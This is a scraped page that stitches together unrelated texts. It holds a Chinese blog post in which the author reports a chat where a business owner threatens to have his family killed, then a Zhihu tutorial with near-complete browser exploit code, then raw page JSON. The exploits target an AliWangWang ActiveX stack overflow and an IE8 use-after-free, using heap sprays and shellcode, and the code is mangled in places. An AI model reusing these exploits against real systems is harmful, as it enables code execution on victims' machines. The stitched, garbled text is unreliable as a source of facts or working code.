cannot finf msvcp,7home交不好用,从上面下滑也不能出来通知管理,左键只能使用小欧

Tags: ,,,,.
也许,这是我留在人世间的最后一贴,也许,在不久的将来,我的家人及亲属都会因为这件事而遭到杀戮之灾。
这本是一件琐碎的完全不值得说的事情,但现在的事态已经影响到我和全家人的生命安全!
所以,我只希望:这篇贴子在我死后能够让更多的人知道的真面目。事情经过如下:
号,我在一QQ群里看到有网友说推一把的培训是骗子,出于好奇,我也在群里搭了一声腔,而这时江礼坤就在该群,对于我们的讨论他始终只字不提,最后我们也是你言他语,各说各的散去。
当天晚上,我在自己的博客上写了一篇贴子,名字是“”,贴子的内容就是那天我的所感所想,朋友们可以访问这个地址来查看当时的贴子:xiaoo.net/seo-news/1614
同一天,好友王准之看到该贴,也即兴的在他自己的博客上贴出了一篇“?” 详情请访问www.wangzhunzhi.com/post/80.html
直到昨天晚上(),我突然接到江礼坤的电话,说在百度搜索推一把,我的此篇贴子排在第一页,而此篇贴子下面的评论有一些竞争对手骂推一把是骗子,对他们的影响非常大。我回:到家了解一下情况。
到家打开电脑,发现确实排在第一页,夜里23点多,给他在Q里留言:哪条评论有问题?
今天()他在Q上跟我聊了一通,我们的聊天就是从我昨晚给他的那条留言开始:
江礼坤 9:28:47
你这篇文章就有问题呀,不细看,以为说咱们是骗子呢
江礼坤 9:29:18
评论的话,4、5、6、7、8都有问题
小欧 9:41:53
你觉得哪里有问题,可以发篇贴子告之以众。
小欧 9:42:04
互联网上,都是一己之见。
江礼坤 9:53:02
倒。。。。。
江礼坤 9:53:17
兄弟,你又来了这个犟劲了
江礼坤 9:53:33
在不,要是你在线,我先把我的想法说说
江礼坤 9:53:39
你帮忙就帮,不帮忙,我不强求
小欧 9:56:09
上一次不是说过么,也都改成你要的样子了。
江礼坤 9:56:46
那兄弟我和你说说
江礼坤 9:57:02
首先呢,以前你写过关于我的文章,我都没要求你删除,因为是发在你的博客,虽然对我确实有影响,但是不大
江礼坤 9:57:14
基本上就是你的读者看,而且时间一长,你更新新的,老的就没了
江礼坤 9:57:24
对我没多大影响,我也就没找你
江礼坤 9:57:42
但是这篇不一样,因为一搜索,他就在上面, 而且搜索推一把的,现在每天有好几百人,对我们影响很大
小欧 9:58:08
这篇说的是实情,还是纯属捏造。
江礼坤 9:58:13
互联网确实可以随便写东西,但是做人是这样的,你不能影响到别人的什么,这是起码做人的原则
江礼坤 9:58:27
除非说你和别人有仇,就是过不去,那单说
江礼坤 9:58:36
咱们无怨无仇的,所以你可以评论,但是不能影响到别人
江礼坤 9:59:45
小欧 9:58:08
这篇说的是实情,还是纯属捏造。咱们不要纠结这个,而且你这篇文章,说的都是你自己的观点,这个不重要
江礼坤 9:59:53
现在重要的是对我们有影响,这是问题的关键,明白吧,兄弟
小欧 10:00:18
那要改变的是你们,而不是找我。
江礼坤 10:00:43
第一,你写的这东西,问题确实不大,问题是你这人写东西,老是用户很偏激,别人眼里,就是在骂我们是骗子
江礼坤 10:00:53
第二,下面的评论,明显不是我们的学员写的
江礼坤 10:00:57
所以不是我们改变不改变的问题
江礼坤 10:01:06
所以呢,我希望你能帮忙把评论删除,最好这个不让人评论
江礼坤 10:01:18
另外内容你不愿意删除没关系,但是把词改改就中
江礼坤 10:01:28
改的中和一些,你写文章太偏激,好话到你嘴里,都变味
小欧 10:01:33
为什么别人会评论你们是骗子呢?
江礼坤 10:01:39
倒。。。。。
江礼坤 10:01:52
这行你又不是不知道,红眼病的人多了,同行也是恶意竞争。。。。
江礼坤 10:01:57
再说现在那行不这样
江礼坤 10:02:00
就像你,骂你的人也多了
江礼坤 10:02:05
兄弟,你就别抬杠了
小欧 10:02:09
是啊,我从不在乎别人怎么骂我。
江礼坤 10:02:10
我这也不是来和你抬杠的
江礼坤 10:02:17
没错,因为你在网上又不公布地址
江礼坤 10:02:19
你也不做生意
小欧 10:02:32
因为我是什么,我自己清楚,别人再骂,那是别人的嘴巴,没人能管得着。
江礼坤 10:02:33
咱们现在是做生意,而且不管是同行恶意攻击,还是红眼病,对我们有影响
小欧 10:02:51
那真正找的应该是你的同行,而不是我。
江礼坤 10:02:59
问题是现在对我们有影响,影响到我们的饭碗了
江礼坤 10:03:07
问题是人家是利用的这篇文章
江礼坤 10:03:12
我给你电话说吧,这里说不清楚了
小欧 10:03:15
网友的评论,下面好多骂我的,我都依然通过,因为这里是互联网。
江礼坤 10:03:36
我给你电话说吧,我把我的观点说清楚,如果你实在不帮,我也没办法了
小欧 10:03:45
除非一些专门留垃圾链接的,我会删除,其他骂我的人多得去了,我不会在意这些。
小欧 10:04:02
我在上班………………
江礼坤 10:04:18
好吧,你不帮我也没办法了,但是这事我肯定不会这么算了的
江礼坤 10:04:34
上次我没往死里和你打,是因为你没影响到我们什么,而且和解了就和解了,做朋友也挺好
江礼坤 10:04:39
但是都和解了,你还这么和我们过不去
江礼坤 10:05:08
从私说,咱们上次已经和解了,也算是半个朋友
江礼坤 10:05:20
而且你说的骂不骂,通过不通过,你愿意让别人骂你是你的事,但是现在涉及到我们了
江礼坤 10:05:26
你无权来让别人骂我们
江礼坤 10:05:40
从公说,你现在影响到我们了,你的博客里,愿意影响自己我不管,但是你影响到我们了
江礼坤 10:05:50
行,你不管行,以后你随便骂,我算是和你磕上了
江礼坤 10:06:02
上次我不下狠心找你,是因为没必要,但是 这次不一样了,你影响到我们正常发展了
江礼坤 10:07:01
这次我也懒得和你骂了,电话中你也能听出来,我这两天挺疲惫
江礼坤 10:07:09
我也不想和你打了,既然你逼我,我也没办法
小欧 10:07:39
好吧,随时恭候。
江礼坤 10:07:57
行,你等着
江礼坤 10:08:03
只要我不死,我肯定要找到你
江礼坤 10:08:14
到时候我看看一百万,能不能砸死你全家
江礼坤 10:08:24
这段聊天记录,你可以保存随便发
江礼坤 10:08:28
妈的,给脸不要脸是吧
所有的聊天记录在这里都有截图,看不到的同学请点击(ishare.iask.sina.com.cn/f/.html)进行下载。
至于江礼坤认为的那些评论我是不会删除的,推一把究竟是不是骗人的培训机构,请大家在百度上搜索“”,看看其他人怎么评论这个培训。对于还不了解或没听过江礼坤的同学,请看。
快写完此贴的时候,看到江礼坤已经在微博上到处找私家侦探,、王月章等神棍们分别进行了这次帮凶行动,有图为证!(现在此条微博已被删除)
整个事情的情况就是这样,因为拒绝删除网友们在我博客对“是骗子”的评论,而即将面临江礼坤用100万请杀我全家(已经是第三次,前面几次同样的言论我没放在心上),做互联网的朋友们请看到后转发一下,希望我和我的家人在死后可以瞑目。
— 小欧 @ 17:16
王小峰的,带三个表
想法说法,自弹自唱
放心关注,不会怀孕
胡乱摆放,很少整理
我只知道,自己无知
喜欢就订,省得访问
偶尔上上,看看书评IE浏览器漏洞的花式利用(一)a year ago其大致流程为, 获取 ActiveX控件 对象, 之后调用 对象的
AutoPic 方法,并向它传入 很长的一段 A ,来触发漏洞.打开浏览器, 用调试器附加上去, 打开 poc 页面, 出发异常 , 查看 SEH 链 ,可以看到 SEH 链的被覆盖我们就能利用 SEH 来实现任意代码执行.同时可以看到,此时的栈并没有我们的输入数据,故我们应该使用 堆喷射技术 将咱们的 shellcode 喷射到可预测的地址来完成最后的漏洞利用.这里给出一个可以在 IE 6, 7上稳定喷射内存到 0x0c0c0c0c 地址处的堆喷射脚本, 以后要喷射内存时,直接贴到 exp 前面使用即可&html&
var shellcode = unescape('%u');
var bigblock = unescape('%u');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length & slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace & 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i & 500; i++){ memory[i] = block + shellcode }
会创建由一大块 由nop指令 + shellcode 的内存块,之后重复分配 500次,以将数据块喷射到 0x0c0c0c0c处.我们来看看是否能喷射内存到可预测的地址上去,保存 上述内容到一个文件中 ,用调试器附加到 IE浏览器上打开 poc 文件,在 弹出 1 对话框时 ,在调试器中将 ie进程中断下来,查看 0x0c0c0c0c 处的内存数据.可以看到 地址 0x0c0c0c0c 处的值为 大量的 0x90(即 nop指令的16进制)
从堆喷射脚本可以知道 该地址位于我们 nop + shellcode 块的 nop 区 ,如果我们将 eip 劫持到 0x0c0c0c0c 处, 程序就会执行大量的 nop 指令,最后会执行到我们的 shellcode 中.
那么,我将最初那个触发漏洞脚本的内容贴到 堆喷射代码的后面 ,并改变传入漏洞函数的参数为
一大串的 “\x0c”
,并添加上我们的 shellcode 这里我用的是 弹出一个计算器。最终的exp代码:&html&
var shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u%u%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%uc%u61b5%ua%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%uf'+
'%ucd59%ua51e%u86b8%u%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%uf%u105d%u6dd7%u86be%uc525'+
'%u%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
var bigblock = unescape('%u');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length & slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace & 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i & 500; i++){ memory[i] = block + shellcode }
&object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"&&/object&
var buffer = '';
while (buffer.length & 1111) buffer+= "\x0c";
target.AutoPic(buffer,"defaultV");
保存内容,打开网页 ,就可弹出一个计算器, 干净利落.
上面那种类型的漏洞流行于 03年-08年, 由于缓冲区溢出类的漏洞挖掘较为容易 , 所以没过多久,这一类型的漏洞就被 hacker 们挖的差不多了, 于是 hacker 们又纷纷转向 堆相关漏洞的挖掘 , 于是 08年之后释放重利用这种堆相关漏洞利用方式变成了IE漏洞的主流.逐渐在这几年达到了高峰.对象畸形操作类的漏洞一般来说触发漏洞需要一系列的操作.单个的操作,比方说对象的创建使用删除都是正常的。导致问题的是对于对象操作的畸形的组合.比如一个对象释放后 引用计数没有清0 , 导致我们可以使用已经释放的内存,又比如 我们新建对象时 ,申请到了一块为初始化的内存 等等 这些都会造成一些安全问题, 甚至可能导致 远程代码执行话不多说,直接开干.这里用的漏洞是 CVE--Microsoft IE
UAF漏洞测试环境为 win7 32 ,mshtml.dll 的文件版本
: 8.00.. 漏洞的原理 :
CGnericElement在被释放后 ,我们仍然可以使用 它的那块内存, 而当我们调用对象的函数时就有可能引用非法内存的值作为 函数指针, 最后造成远程代码执行漏洞. 这里在介绍一个背景知识 , 跟面向过程的编程语言不同,c++支持多态和继承。支持这些机制的核心就是虚表。C++的(虚)函数指针位于一个全局数组中,形成虚表。而指向这个虚表的指针(VSTR)一般位于对象实例在内存中开始的4个字节(32位系统) 之后才是类中声明的数据成员,一般按照声明的先后顺序排列。对于存在多态行为的类,子类的所有实例共享相同的虚表,但区别于父类的虚表。对于某个对象,其 调用存在多态行为的某个函数时,会先通过虚表指针得到虚表.再根据函数在虚表中的偏移来得到相应的函数指针,最后才会调用函数.
最后总结一下:
一个对象创建后 ,会在内存中占用一定的空间, 如果对象有虚函数调用的话(ie 中的对象基本都有 ) ,其内存块开头的 4 字节 会指向一个 叫做 虚表的东西 , 当 对象调用虚函数时 首先会 取出 虚表指针 (即 开头的 4字节) ,再到 虚表处根据所调用函数对虚表的相对偏移找到函数指针 , 最终 跳到 函数指针处执行其 汇编代码的 大致呈现 为 &假定 ecx 指向对象&: mov eax , [ecx] call [eax + 偏移]
通过这么一大串的对对象虚函数调用过程的描述 ,你应该大致猜到了 对于 UAF 漏洞利用的通用的方式。是的,就是在存在漏洞的对象释放后 ,使用另外一种对象 来占用刚刚被释放的内存块, 我们称之为 “占坑”, 之后在用这个对象来修改虚表指针的值 来伪造一个虚表, 最后再让漏洞对象调用他的一个虚函数,我们可以通过先前伪造的虚表 ,将此处调用的函数的指针设为 我们 shellcode 的地址, 那么这样,漏洞对象一调用函数,就会跳到 shellcode 中来执行.
下面回到这个漏洞来, 通过对漏洞的调试分析,可以弄清楚存在 UAF 漏洞的 CgnericElement 对象的大小为0x4c
, 那么如果我们要利用这个漏洞,就需要在漏洞对象被释放后,通过申请相同大小的内存来使用这块 “邪恶” 的内存, 将其开头4字节伪造成我们可控数据的地址处,来进一步伪造虚表.在 IE8中恰好有一个 t:ANIMATECOLO 标签,通过利用该标签我们可以实现上面的目标. t:ANIMATECOLO标签值是一个用分号分隔的字符串,分号的个数决定对象的大小.对象的每个元素都是一个指针,指向分隔出来的字符串.应为漏洞对象的大小为 0x4c所以这里需要包含 0x4c/4 = 13 个分号的字符串.通过分析崩溃时的情景,可以发现对象是在调用偏移虚表 0x70的地方的函数时,造成了崩溃.mshtml!CElement::Doc:
eax,dword ptr [ecx]
edx,dword ptr [eax+70h]
6586c81a ffd2
因此我们在代码中使用 0x70 /4 精确控制 edx
,具体看POC中的注释.Poc:&!doctype html&
&HTML XMLNS:t ="urn:schemas-microsoft-com:time"&
&?IMPORT namespace="t" implementation="#default#time2"&
function helloWorld()
animvalues = "";
// mshtml!CElement::Doc:
eax,dword ptr [ecx]
edx,dword ptr [eax+70h]
// 6586c81a ffd2
for (i=0; i &= 0x70/4; i++) {
// t:ANIMATECOLOR 标签第一个对象用于覆盖虚表指针
// 由于索引虚函数时,需要偏移0x70,所以这里采用0x70/4去精确控制edx值
if (i == 0x70/4) {
//animvalues += unescape("%u5ed5%u77c1");
animvalues += unescape("%u");
// 控制edx=0x
animvalues += unescape("%u");
for(i = 0; i & 13; i++) {
// t:ANIMATECOLOR 标签值是一个用分号分隔的字符串,分号的个数决定对象的大小,
// 对象的每个元素都是一个指针,指向分号分隔出来的字符串
// 漏洞对象CGnericElement大小0x4c,所以这里需要包含0x4c/4=13个分号的字符串
animvalues += ";red";
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
f0.offsetParent=null;
}catch(e) {}
f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";
CollectGarbage();
//使用 t:ANIMATECOLOR 标签可以自由设置其内容,控制对象大小
a = document.getElementById('myanim');
a.values = animvalues;
catch(e) {}
&body onload="eval(helloWorld());"&
&t:ANIMATECOLOR id="myanim"/&
使用ie 访问页面,调试器附加到 ie上。可以看到程序执行到了 0x 处,我们成功劫持了程序的执行流程下面不考虑 dep 的话,直接在漏洞触发代码前面使用一个ie8的堆喷射脚本,在修改下指针控制的值为 0x0c0c0c0c ,我们就能实现代码执行了最终的exp 代码如下:&!doctype html&
&HTML XMLNS:t ="urn:schemas-microsoft-com:time"&
&?IMPORT namespace="t" implementation="#default#time2"&
// [ Shellcode ]
var shellcode = unescape(
"%ue8fc%u%u%u64d2%u528b%u8b30" +
"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +
"%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +
"%u528b%u8b10%u3c42%ud001%u408b%u%u014a" +
"%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +
"%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +
"%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u" +
"%u5b5b%ua%ue0ff%u5f58%u8b5a%ueb12%u5d86" +
"%u016a%u858d%u00b9%u%u8b31%u876f%ud5ff" +
"%uf0bb%ua2b5%u%u9dbd%ud5ff%u063c%u0a7c" +
"%ufb80%u75e0%ubb05%u%u006a%uff53%u63d5" +
"%u6c61%u2e63%u");
var fill = unescape("%u0c0c%u0c0c");
while (fill.length & 0x1000){
// [ padding offset ]
padding = fill.substring(0, 0x5F6);
// [ fill each chunk with 0x1000 bytes ]
evilcode = padding + shellcode + fill.substring(0, 0x800 - padding.length - shellcode.length);
// [ repeat the block to 512KB ]
while (evilcode.length & 0x40000){
evilcode +=
// [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]
var block = evilcode.substring(2, 0x40000 - 0x21);
// [ Allocate 200 MB ]
var slide = new Array();
for (var i = 0; i & 400; i++){
slide[i] = block.substring(0, block.length);
function helloWorld()
animvalues = "";
for (i=0; i &= 0x70/4; i++) {
// t:ANIMATECOLOR 标签第一个对象用于覆盖虚表指针
// 由于索引虚函数时,需要偏移0x70,所以这里采用0x70/4去精确控制edx值
if (i == 0x70/4) {
animvalues += unescape("%u0c0c%u0c0c");
// 控制edx
animvalues += unescape("%u");
for(i = 0; i & 13; i++) {
// t:ANIMATECOLOR 标签值是一个用分号分隔的字符串,分号的个数决定对象的大小,
// 对象的每个元素都是一个指针,指向分号分隔出来的字符串
// 漏洞对象CGnericElement大小0x4c,所以这里需要包含0x4c/4=13个分号的字符串
animvalues += ";red";
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
f0.offsetParent=
}catch(e) {}
f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";
CollectGarbage();
//使用 t:ANIMATECOLOR 标签可以自由设置其内容,控制对象大小
a = document.getElementById('myanim');
a.values =
catch(e) {}
&body onload="eval(helloWorld());"&
&t:ANIMATECOLOR id="myanim"/&
今天真是邪门了,不知道为什么我开启了dep还是能够执行,请不吝赐教。全文完。下次补充rop部分,以及14-16年的IE漏洞利用部分,谢谢观看。赞赏还没有人赞赏,快来当第一个赞赏的人吧!69收藏分享举报文章被以下专栏收录探索黑客利用网络技能在生活中的趣事{&debug&:false,&apiRoot&:&&,&paySDK&:&https:\u002F\u002Fpay.zhihu.com\u002Fapi\u002Fjs&,&wechatConfigAPI&:&\u002Fapi\u002Fwechat\u002Fjssdkconfig&,&name&:&production&,&instance&:&column&,&tokens&:{&X-XSRF-TOKEN&:null,&X-UDID&:null,&Authorization&:&oauth c3cef7c66aa9e6a1e3160e20&}}{&database&:{&Post&:{&&:{&isPending&:false,&contributes&:[{&sourceColumn&:{&lastUpdated&:,&description&:&文章以渗透笔记、旅行中的入侵趣事为主。信息安全为主、二进制研究为辅,心血来潮时写一点,纯属自娱自乐。交流请文明理性客观,转载请事先征得同意。&,&permission&:&COLUMN_PUBLIC&,&memberId&:,&contributePermission&:&COLUMN_PUBLIC&,&translatedCommentPermission&:&all&,&canManage&:true,&intro&:&探索黑客利用网络技能在生活中的趣事&,&urlToken&:&sss95zz&,&id&:14569,&imagePath&:&fe42e0e6e1.jpeg&,&slug&:&sss95zz&,&applyReason&:&0&,&name&:&黑客生活&,&title&:&黑客生活&,&url&:&https:\u002F\u002Fzhuanlan.zhihu.com\u002Fsss95zz&,&commentPermission&:&COLUMN_ALL_CAN_COMMENT&,&canPost&:true,&created&:,&state&:&COLUMN_NORMAL&,&followers&:8316,&avatar&:{&id&:&fe42e0e6e1&,&template&:&https:\u002F\u002Fpic1.zhimg.com\u002F{id}_{size}.jpg&},&activateAuthorRequested&:false,&following&:false,&imageUrl&:&https:\u002F\u002Fpic1.zhimg.com\u002Ffe42e0e6e1_l.jpg&,&articlesCount&:53},&state&:&accepted&,&targetPost&:{&titleImage&:&https:\u002F\u002Fpic2.zhimg.com\u002Fbb6c25ac7a3aa_r.jpg&,&lastUpdated&:,&imagePath&:&bb6c25ac7a3aa.png&,&permission&:&ARTICLE_PUBLIC&,&topics&:[,2823],&summary&:&\u003Ca href=\&https:\u002F\u002Fwww.zhihu.com\u002Fquestion\u002F2Fanswer\u002F?from=profile_answer_card\& class=\&internal\&\u003E挖掘二进制漏洞具体指的是什么? - 95zz 的回答\u003C\u002Fa\u003E今天受邀回答这个问题,想着既然遇到了,那就是缘分。\u003Cb\u003E正文:\u003C\u002Fb\u003E 现今,浏览器是用户接入互联网的门户.浏览器从诞生之初主要提供简单的文档阅读功能.很少构成网络安全威胁,但随着互联网的高速发展,越来越多的功能…&,&copyPermission&:&ARTICLE_COPYABLE&,&translatedCommentPermission&:&all&,&likes&:0,&origAuthorId&:0,&publishedTime&:&T22:14:58+08:00&,&sourceUrl&:&&,&urlToken&:,&id&:1153192,&withContent&:false,&slug&:,&bigTitleImage&:false,&title&:&IE浏览器漏洞的花式利用(一)&,&url&:&\u002Fp\u002F&,&commentPermission&:&ARTICLE_ALL_CAN_COMMENT&,&snapshotUrl&:&&,&created&:,&comments&:0,&columnId&:14569,&content&:&&,&parentId&:0,&state&:&ARTICLE_PUBLISHED&,&imageUrl&:&https:\u002F\u002Fpic2.zhimg.com\u002Fbb6c25ac7a3aa_r.jpg&,&author&:{&bio&:&风的季节,风再起时,风继续吹&,&isFollowing&:false,&hash&:&045d16ead1dcc2ec51d0eb&,&uid&:72,&isOrg&:false,&slug&:&SSS95zz&,&isFollowed&:false,&description&:&
人生如棋,我愿为卒。行动虽慢,但谁曾见我后退一步。我已委托“维权骑士”(http:\u002F\u002Frightknights.com)为我的文章进行维权行动\n如需转载前往(https:\u002F\u002Frightknights.com\u002Fmaterial\u002Fauthor?id=3854) 获取合法授权&,&name&:&95zz&,&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002FSSS95zz&,&avatar&:{&id&:&b40b87b4ffbf5cacf249728&,&template&:&https:\u002F\u002Fpic2.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false},&memberId&:,&excerptTitle&:&&,&voteType&:&ARTICLE_VOTE_CLEAR&},&id&:430719}],&title&:&IE浏览器漏洞的花式利用(一)&,&author&:&SSS95zz&,&content&:&\u003Ca href=\&https:\u002F\u002Fwww.zhihu.com\u002Fquestion\u002F2Fanswer\u002F?from=profile_answer_card\& class=\&internal\&\u003E挖掘二进制漏洞具体指的是什么? - 95zz 的回答\u003C\u002Fa\u003E\u003Cp\u003E今天受邀回答这个问题,想着既然遇到了,那就是缘分。\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E正文:\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cbr\u003E
现今,浏览器是用户接入互联网的门户.浏览器从诞生之初主要提供简单的文档阅读功能.很少构成网络安全威胁,但随着互联网的高速发展,越来越多的功能集被加入到浏览器中。浏览器不仅需要像操作 系统那样,为阅读文档、观看电影、欣赏音乐等传统计算机应用提供基础,也需要为社交网络、网络购物等新兴互联网应用提供支持。浏览器在增加功能集的同时, 也就带来了更多的安全问题。同时又由于IE是 windows的默认浏览器, 所以hacker 们对 IE 的漏洞十分感兴趣. 关注的人多了,IE浏览器相关的漏洞利用技术也就发展的很快.\u003Cbr\u003E\u003Cp\u003E
早期hacker 们挖掘 IE浏览器漏洞,挖到的绝大部分是一些缓冲区溢出 或者是 ActiveX控件漏洞,这些漏洞中有很多是栈溢出类型的漏洞这类漏洞,利用起来非常的方便,直接使用过长字符串覆盖函数返回地址,我们就可以控制程序的执行流程. 此时的漏洞利用和其他软件的漏洞利用技术差不多,即先通过输入数据布置好栈上的数据,然后将返回地址覆盖为
jmp esp 之类的指令的地址,这样一来在函数返回时我们就能控制程序执行到我们输入的数据中,这样我们就能 干我们想干的事情了. 浏览器毕竟和其他类型软件不一样,浏览器实现了许多的功能, 其中很大一部分都是基于的堆实现的,所以很多时候
hacker 会发现 :挖到了一个漏洞 ,也劫持了 eip 控制了程序流程,但是不能控制栈上的内容,或者能控制的内容的长度非常小,以至于连一个弹框的 shellcode 都不能布置上去.难道 hacker 们就这样放弃了吗? 当然没有 , 有了问题咱就解决问题.来看看我们现在拥有的条件. 1. eip 可控
2.不能在栈上布置 shellcode . 既然栈上不行 , 那咱就可以将我们的 shellcode布置到堆上 , 之后我们在将 eip 指向 堆中的shellcode 即可.这样又来了一个难题,我们知道 堆的分配是动态的,即分配的堆块的地址是不固定的,会变化的.为了解决这一困难 ,
hackers 发明了一种技术 →
Heap Spraying 即 堆喷射技术 , 该技术在 浏览器中的大致原理是 ,通过使用浏览器的支持的一些脚本语言, 如 javascript ,vbscript , actionscript ….. , 申请大量的内存,这样我们就有可能使内存中的某个地址恰好指向我们的数据.通过这样一种技术, 我们现在的拥有的条件是:
2. 我们输入数据的地址可知. 不考虑一些漏洞利用缓解措施, 如 DEP ,
栈cookies 等, 我们就能实现代码执行. \u003Cb\u003E扯了这么久来实践一把吧.\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cbr\u003E\u003Cp\u003E\u003Cb\u003E
这里用的漏洞是 阿里旺旺2010 的 \u003C\u002Fb\u003E\u003Cb\u003EActiveX控件的一个栈溢出漏洞\u003C\u002Fb\u003E\u003Cb\u003E, \u003C\u002Fb\u003E测试环境为 xp sp3 IE6,可以通过在控制面板中卸载 ie8 得到 ie6漏洞的原理是 其控件的 imageMan.dll 中的AutoPic 函数由于未对参数的长度进行有效的检测 ,导致存在栈溢出漏洞.先用一段小html代码验证下漏洞是否是这样\u003C\u002Fp\u003E\u003Cp\u003EPOC代码如下:\u003C\u002Fp\u003E\u003Cbr\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-html\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ehtml\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ebody\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Eobject\u003C\u002Fspan\u003E \u003Cspan class=\&na\&\u003Eclassid\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s\&\u003E\&clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF\&\u003C\u002Fspan\u003E \u003Cspan class=\&na\&\u003Eid\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s\&\u003E\&target\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Eobject\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebuffer\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&s1\&\u003E''\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&k\&\u003Ewhile\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebuffer\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003EC\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebuffer\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+=\u003C\u002Fspan\u003E\u003Cspan class=\&s2\&\u003E\&A\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&nx\&\u003Etarget\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EAutoPic\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebuffer\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E\u003Cspan class=\&s2\&\u003E\&defaultV\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ebody\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ehtml\u003C\u002Fspan\u003E\u003Cspan 